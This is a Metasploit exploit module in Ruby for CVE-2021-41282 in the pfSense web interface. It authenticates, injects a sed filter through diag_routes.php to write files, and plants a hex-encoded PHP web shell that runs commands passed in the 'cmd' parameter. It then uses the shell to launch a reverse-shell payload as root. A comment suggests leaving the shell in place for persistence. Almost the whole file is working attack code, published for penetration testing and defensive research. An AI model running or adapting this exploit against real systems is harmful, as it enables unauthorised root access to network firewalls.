<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'pfSense Diag Routes Web Shell Upload',<br /> 'Description' => %q{<br /> This module exploits an arbitrary file creation vulnerability in the pfSense<br /> HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2<br /> and can be exploited by an authenticated user if they have the<br /> "WebCfg - Diagnostics: Routing tables" privilege.<br /><br /> This module uses the vulnerability to create a web shell and execute payloads<br /> with root privileges.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery<br /> 'jbaines-r7' # metasploit module<br /> ],<br /> 'References' => [<br /> ['CVE', '2021-41282'],<br /> ['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']<br /> ],<br /> 'DisclosureDate' => '2022-02-23',<br /> 'Platform' => ['unix', 'bsd'],<br /> 'Arch' => [ARCH_CMD, ARCH_X64],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_openssl'<br /> },<br /> 'Payload' => {<br /> 'Append' => ' & disown'<br /> }<br /> }<br /> ],<br /> [<br /> 'BSD Dropper',<br /> {<br /> 'Platform' => 'bsd',<br /> 'Arch' => [ARCH_X64],<br /> 'Type' => :bsd_dropper,<br /> 'CmdStagerFlavor' => [ 'curl' ],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 1,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> register_options [<br /> OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),<br /> OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),<br /> OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),<br /> OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])<br /> ]<br /><br /> @webshell_uri = '/'<br /> @webshell_path = '/usr/local/www/'<br /> end<br /><br /> # Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,<br /> # pfsense permissions can be so locked down that we have to try direct exploitation<br /> # in order to determine vulnerability. A user can even be restricted from the<br /> # dashboard (where other pfsense modules extract the version).<br /> def check<br /> # Grab a CSRF token so that we can log in<br /> res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))<br /> return CheckCode::Unknown("Didn't receive a response from the target.") unless res<br /> return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200<br /> return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')<br /><br /> /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body<br /> return CheckCode::Unknown('Could not find CSRF token') unless csrf<br /><br /> # send the log in attempt<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, '/index.php'),<br /> 'method' => 'POST',<br /> 'vars_post' => {<br /> '__csrf_magic' => csrf,<br /> 'usernamefld' => datastore['USERNAME'],<br /> 'passwordfld' => datastore['PASSWORD'],<br /> 'login' => ''<br /> }<br /> )<br /><br /> return CheckCode::Detected('No response to log in attempt.') unless res<br /> return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302<br /><br /> # save the auth cookie for later user<br /> @auth_cookies = res.get_cookies<br /><br /> # attempt the exploit. Upload a random file to /usr/local/www/ with random contents<br /> filename = Rex::Text.rand_text_alpha(4..12)<br /> contents = Rex::Text.rand_text_alpha(16..32)<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),<br /> 'cookie' => @auth_cookies,<br /> 'encode_params' => false,<br /> 'vars_get' => {<br /> 'isAjax' => '1',<br /> 'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"<br /> }<br /> })<br /><br /> return CheckCode::Safe('No response to upload attempt.') unless res<br /> return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200<br /><br /> # Validate the exploit was successful by requesting the uploaded file<br /> res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })<br /> return CheckCode::Safe('No response to exploit validation check.') unless res<br /> return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200<br /><br /> register_file_for_cleanup("#{@webshell_path}#{filename}")<br /> CheckCode::Vulnerable()<br /> end<br /><br /> # Using the path traversal, upload a php webshell to the remote target<br /> def drop_webshell<br /> webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")<br /> print_status("Uploading webshell to #{webshell_location}")<br /><br /> # php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'<br /> php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),<br /> 'cookie' => @auth_cookies,<br /> 'encode_params' => false,<br /> 'vars_get' => {<br /> 'isAjax' => '1',<br /> 'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"<br /> }<br /> })<br /><br /> fail_with(Failure::Disconnected, 'Connection failed') unless res<br /> fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200<br /><br /> # Test the web shell installed by echoing a random string and ensure it appears in the res.body<br /> print_status('Testing if web shell installation was successful')<br /> rand_data = Rex::Text.rand_text_alphanumeric(16..32)<br /> res = execute_via_webshell("echo #{rand_data}")<br /> fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)<br /> print_good("Web shell installed at #{webshell_location}")<br /><br /> # This is a great place to leave a web shell for persistence since it doesn't require auth<br /> # to touch it. By default, we'll clean this up but the attacker has to option to leave it<br /> if datastore['DELETE_WEBSHELL']<br /> register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")<br /> end<br /> end<br /><br /> # Executes commands via the uploaded webshell<br /> def execute_via_webshell(cmd)<br /> if target['Type'] == :bsd_dropper<br /> # the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good<br /> # way to force the payload to background itself (and thus allow the HTTP response to<br /> # to return). So we hack it in ourselves. This identifies the ending file cleanup<br /> # which should be right after executing the payload.<br /> cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')<br /> end<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),<br /> 'vars_get' => {<br /> 'cmd' => cmd<br /> }<br /> })<br /><br /> fail_with(Failure::Disconnected, 'Connection failed') unless res<br /> fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200<br /> res<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> execute_via_webshell(cmd)<br /> end<br /><br /> def exploit<br /> # create a randomish web shell name if the user doesn't specify one<br /> @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"<br /><br /> drop_webshell<br /><br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :bsd_dropper<br /> execute_cmdstager<br /> end<br /> end<br />end<br /></code></pre>
